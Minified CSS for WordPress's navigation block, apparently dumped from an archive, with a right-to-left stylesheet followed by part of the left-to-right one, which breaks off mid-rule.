.wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-right:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{stroke:currentColor;display:inline-block;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation{--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;opacity:0;position:absolute;z-index:2}@media not (prefers-reduced-motion){.wp-block-navigation .has-child .wp-block-navigation__submenu-container{transition:opacity .1s linear}}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{height:0;overflow:hidden;visibility:hidden;width:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1;padding:.5em 1em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:0;margin-right:auto}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{right:-1px;top:100%}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-left:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(90deg)}}@media (hover:hover){.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation .has-child.open-always{align-items:var(--navigation-layout-align,initial);flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);gap:var(--wp--style--block-gap,2em)}.wp-block-navigation .has-child.open-always,.wp-block-navigation .has-child.open-always .wp-block-navigation-item{justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container,.wp-block-navigation .has-child.open-always.wp-block-navigation-submenu{gap:var(--wp--style--block-gap,2em)}.wp-block-navigation .has-child.open-always .wp-block-navigation-item,.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container,.wp-block-navigation .has-child.open-always.wp-block-navigation-submenu{padding-bottom:0;padding-top:0}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container{padding-left:var(--wp--style--block-gap,2em);padding-right:var(--wp--style--block-gap,2em)}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container .wp-block-navigation-item__content{padding:0}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content,.wp-block-navigation .has-child.open-always>.wp-block-navigation-item__content{flex-grow:0}.wp-block-navigation .has-child.open-always>.wp-block-navigation__submenu-container{background-color:initial;border:none;color:inherit;flex-basis:100%;height:auto;opacity:1;overflow:visible;position:static;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{right:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-align:right;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-submenu__toggle[aria-expanded=true]+.wp-block-navigation__submenu-icon>svg,.wp-block-navigation-submenu__toggle[aria-expanded=true]>svg{transform:rotate(-180deg)}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:.85em;padding-right:0}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-right:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:0;right:auto}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;right:auto}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-right:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{background-color:inherit;display:flex;flex-direction:column}@media not (prefers-reduced-motion){.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards}}.wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay){padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-left),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem)}.wp-block-navigation__responsive-container.is-menu-open{overflow:auto;z-index:100000}.wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) .wp-block-navigation__responsive-container-content{padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}.wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__overlay-container{display:none;width:100%}.wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__responsive-close{max-width:none}.wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content>:not(.wp-block-navigation__overlay-container){display:none}.wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container{display:block}.wp-block-navigation__responsive-container.disable-default-overlay.is-menu-open .wp-block-navigation__responsive-container-content .wp-block-navigation__overlay-container .wp-block-navigation__submenu-container{left:auto;right:0}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open){background-color:inherit;display:block;position:relative;width:100%;z-index:auto}.wp-block-navigation__responsive-container:not(.hidden-by-default):not(.is-menu-open) .wp-block-navigation__responsive-container-close{display:none}.wp-block-navigation__responsive-container.is-menu-open .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{right:0}}.wp-block-navigation:not(.has-background) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay){background-color:#fff}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay){color:#000}.wp-block-navigation__toggle_button_label{font-size:1rem;font-weight:700}.wp-block-navigation__responsive-container-close,.wp-block-navigation__responsive-container-open{background:#0000;border:none;color:currentColor;cursor:pointer;margin:0;padding:0;text-transform:inherit;vertical-align:middle}.wp-block-navigation__responsive-container-close svg,.wp-block-navigation__responsive-container-open svg{fill:currentColor;display:block;height:24px;pointer-events:none;width:24px}.wp-block-navigation__responsive-container-open{display:flex}.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{font-family:inherit;font-size:inherit;font-weight:inherit}@media (min-width:600px){.wp-block-navigation__responsive-container-open:not(.always-shown){display:none}}.wp-block-navigation__responsive-container-close{left:0;position:absolute;top:0;z-index:2}.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close{font-family:inherit;font-size:inherit;font-weight:inherit}.disable-default-overlay .wp-block-navigation__responsive-container-close{left:clamp(1rem,var(--wp--style--root--padding-left),20rem);top:clamp(1rem,var(--wp--style--root--padding-left),20rem)}.wp-block-navigation__responsive-close{width:100%}.has-modal-open .wp-block-navigation__responsive-close{margin-left:auto;margin-right:auto;max-width:var(--wp--style--global--wide-size,100%)}.wp-block-navigation__responsive-close:focus{outline:none}.is-menu-open .wp-block-navigation__responsive-close,.is-menu-open .wp-block-navigation__responsive-container-content,.is-menu-open .wp-block-navigation__responsive-dialog{box-sizing:border-box}.wp-block-navigation__responsive-dialog{position:relative}.has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog{margin-top:46px}@media (min-width:782px){.has-modal-open .admin-bar .is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-dialog{margin-top:32px}}html.has-modal-open{overflow:hidden} navigation/style.min.css 0000644 00000050345 15217610761 0011354 0 ustar 00 .wp-block-navigation{position:relative}.wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.wp-block-navigation ul,.wp-block-navigation ul li{list-style:none;padding:0}.wp-block-navigation .wp-block-navigation-item{align-items:center;background-color:inherit;display:flex;position:relative}.wp-block-navigation .wp-block-navigation-item .wp-block-navigation__submenu-container:empty{display:none}.wp-block-navigation .wp-block-navigation-item__content{display:block;z-index:1}.wp-block-navigation .wp-block-navigation-item__content.wp-block-navigation-item__content{color:inherit}.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-underline .wp-block-navigation-item__content:focus{text-decoration:underline}.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:active,.wp-block-navigation.has-text-decoration-line-through .wp-block-navigation-item__content:focus{text-decoration:line-through}.wp-block-navigation :where(a),.wp-block-navigation :where(a:active),.wp-block-navigation :where(a:focus){text-decoration:none}.wp-block-navigation .wp-block-navigation__submenu-icon{align-self:center;background-color:inherit;border:none;color:currentColor;display:inline-block;font-size:inherit;height:.6em;line-height:0;margin-left:.25em;padding:0;width:.6em}.wp-block-navigation .wp-block-navigation__submenu-icon svg{stroke:currentColor;display:inline-block;height:inherit;margin-top:.075em;width:inherit}.wp-block-navigation{--navigation-layout-justification-setting:flex-start;--navigation-layout-direction:row;--navigation-layout-wrap:wrap;--navigation-layout-justify:flex-start;--navigation-layout-align:center}.wp-block-navigation.is-vertical{--navigation-layout-direction:column;--navigation-layout-justify:initial;--navigation-layout-align:flex-start}.wp-block-navigation.no-wrap{--navigation-layout-wrap:nowrap}.wp-block-navigation.items-justified-center{--navigation-layout-justification-setting:center;--navigation-layout-justify:center}.wp-block-navigation.items-justified-center.is-vertical{--navigation-layout-align:center}.wp-block-navigation.items-justified-right{--navigation-layout-justification-setting:flex-end;--navigation-layout-justify:flex-end}.wp-block-navigation.items-justified-right.is-vertical{--navigation-layout-align:flex-end}.wp-block-navigation.items-justified-space-between{--navigation-layout-justification-setting:space-between;--navigation-layout-justify:space-between}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{align-items:normal;background-color:inherit;color:inherit;display:flex;flex-direction:column;opacity:0;position:absolute;z-index:2}@media not (prefers-reduced-motion){.wp-block-navigation .has-child .wp-block-navigation__submenu-container{transition:opacity .1s linear}}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{height:0;overflow:hidden;visibility:hidden;width:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content{display:flex;flex-grow:1;padding:.5em 1em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content .wp-block-navigation__submenu-icon{margin-left:auto;margin-right:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation-item__content{margin:0}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{left:-1px;top:100%}@media (min-width:782px){.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon{margin-right:.25em}.wp-block-navigation .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-icon svg{transform:rotate(-90deg)}}@media (hover:hover){.wp-block-navigation .has-child:not(.open-on-click):hover>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}}.wp-block-navigation .has-child .wp-block-navigation-submenu__toggle[aria-expanded=true]~.wp-block-navigation__submenu-container,.wp-block-navigation .has-child:not(.open-on-click):not(.open-on-hover-click):focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;overflow:visible;visibility:visible;width:auto}.wp-block-navigation .has-child.open-always{align-items:var(--navigation-layout-align,initial);flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);gap:var(--wp--style--block-gap,2em)}.wp-block-navigation .has-child.open-always,.wp-block-navigation .has-child.open-always .wp-block-navigation-item{justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container,.wp-block-navigation .has-child.open-always.wp-block-navigation-submenu{gap:var(--wp--style--block-gap,2em)}.wp-block-navigation .has-child.open-always .wp-block-navigation-item,.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container,.wp-block-navigation .has-child.open-always.wp-block-navigation-submenu{padding-bottom:0;padding-top:0}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container{padding-left:var(--wp--style--block-gap,2em);padding-right:var(--wp--style--block-gap,2em)}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container .wp-block-navigation-item__content{padding:0}.wp-block-navigation .has-child.open-always .wp-block-navigation__submenu-container>.wp-block-navigation-item>.wp-block-navigation-item__content,.wp-block-navigation .has-child.open-always>.wp-block-navigation-item__content{flex-grow:0}.wp-block-navigation .has-child.open-always>.wp-block-navigation__submenu-container{background-color:initial;border:none;color:inherit;flex-basis:100%;height:auto;opacity:1;overflow:visible;position:static;visibility:visible;width:auto}.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container{left:0;top:100%}@media (min-width:782px){.wp-block-navigation.has-background .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:0}}.wp-block-navigation-submenu{display:flex;position:relative}.wp-block-navigation-submenu .wp-block-navigation__submenu-icon svg{stroke:currentColor}button.wp-block-navigation-item__content{background-color:initial;border:none;color:currentColor;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;text-align:left;text-transform:inherit}.wp-block-navigation-submenu__toggle{cursor:pointer}.wp-block-navigation-submenu__toggle[aria-expanded=true]+.wp-block-navigation__submenu-icon>svg,.wp-block-navigation-submenu__toggle[aria-expanded=true]>svg{transform:rotate(180deg)}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle{padding-left:0;padding-right:.85em}.wp-block-navigation-item.open-on-click .wp-block-navigation-submenu__toggle+.wp-block-navigation__submenu-icon{margin-left:-.6em;pointer-events:none}.wp-block-navigation-item.open-on-click button.wp-block-navigation-item__content:not(.wp-block-navigation-submenu__toggle){padding:0}.wp-block-navigation .wp-block-page-list,.wp-block-navigation__container,.wp-block-navigation__responsive-close,.wp-block-navigation__responsive-container,.wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-dialog{gap:inherit}:where(.wp-block-navigation.has-background .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation.has-background .wp-block-navigation-submenu a:not(.wp-element-button)){padding:.5em 1em}:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-item a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu a:not(.wp-element-button)),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-navigation-submenu button.wp-block-navigation-item__content),:where(.wp-block-navigation .wp-block-navigation__submenu-container .wp-block-pages-list__item button.wp-block-navigation-item__content){padding:.5em 1em}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container{left:auto;right:0}.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:-1px;right:-1px}@media (min-width:782px){.wp-block-navigation.items-justified-right .wp-block-navigation__container .has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-right .wp-block-page-list>.has-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between .wp-block-page-list>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation.items-justified-space-between>.wp-block-navigation__container>.has-child:last-child .wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:auto;right:100%}}.wp-block-navigation:not(.has-background) .wp-block-navigation__submenu-container{background-color:#fff;border:1px solid #00000026}.wp-block-navigation.has-background .wp-block-navigation__submenu-container{background-color:inherit}.wp-block-navigation:not(.has-text-color) .wp-block-navigation__submenu-container{color:#000}.wp-block-navigation__container{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial);list-style:none;margin:0;padding-left:0}.wp-block-navigation__container .is-responsive{display:none}.wp-block-navigation__container:only-child,.wp-block-page-list:only-child{flex-grow:1}@keyframes overlay-menu__fade-in-animation{0%{opacity:0;transform:translateY(.5em)}to{opacity:1;transform:translateY(0)}}.wp-block-navigation__responsive-container{bottom:0;display:none;left:0;position:fixed;right:0;top:0}.wp-block-navigation__responsive-container :where(.wp-block-navigation-item a){color:inherit}.wp-block-navigation__responsive-container .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-align,initial);display:flex;flex-direction:var(--navigation-layout-direction,initial);flex-wrap:var(--navigation-layout-wrap,wrap);justify-content:var(--navigation-layout-justify,initial)}.wp-block-navigation__responsive-container:not(.is-menu-open.is-menu-open){background-color:inherit!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open{background-color:inherit;display:flex;flex-direction:column}@media not (prefers-reduced-motion){.wp-block-navigation__responsive-container.is-menu-open{animation:overlay-menu__fade-in-animation .1s ease-out;animation-fill-mode:forwards}}.wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay){padding:clamp(1rem,var(--wp--style--root--padding-top),20rem) clamp(1rem,var(--wp--style--root--padding-right),20rem) clamp(1rem,var(--wp--style--root--padding-bottom),20rem) clamp(1rem,var(--wp--style--root--padding-left),20rem)}.wp-block-navigation__responsive-container.is-menu-open{overflow:auto;z-index:100000}.wp-block-navigation__responsive-container.is-menu-open:not(.disable-default-overlay) .wp-block-navigation__responsive-container-content{padding-top:calc(2rem + 24px)}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content{align-items:var(--navigation-layout-justification-setting,inherit);display:flex;flex-direction:column;flex-wrap:nowrap;overflow:visible}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list{justify-content:flex-start}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-icon{display:none}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .has-child .wp-block-navigation__submenu-container{border:none;height:auto;min-width:200px;opacity:1;overflow:initial;padding-left:2rem;padding-right:2rem;position:static;visibility:visible;width:auto}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{gap:inherit}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__submenu-container{padding-top:var(--wp--style--block-gap,2em)}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item__content{padding:0}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__responsive-container-content .wp-block-page-list{align-items:var(--navigation-layout-justification-setting,initial);display:flex;flex-direction:column}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation-item .wp-block-navigation__submenu-container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__container,.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-page-list{background:#0000!important;color:inherit!important}.wp-block-navigation__responsive-container.is-menu-open:where(:not(.disable-default-overlay)) .wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container.wp-block-navigation__submenu-container{left:auto;right:auto}.wp-block-navigation__responsive-container.disable-default-overlay .wp-block-navigation__overlay-container{display:none;width:100%}.wp-block-navigation__responsive-container.disable-default-overlay 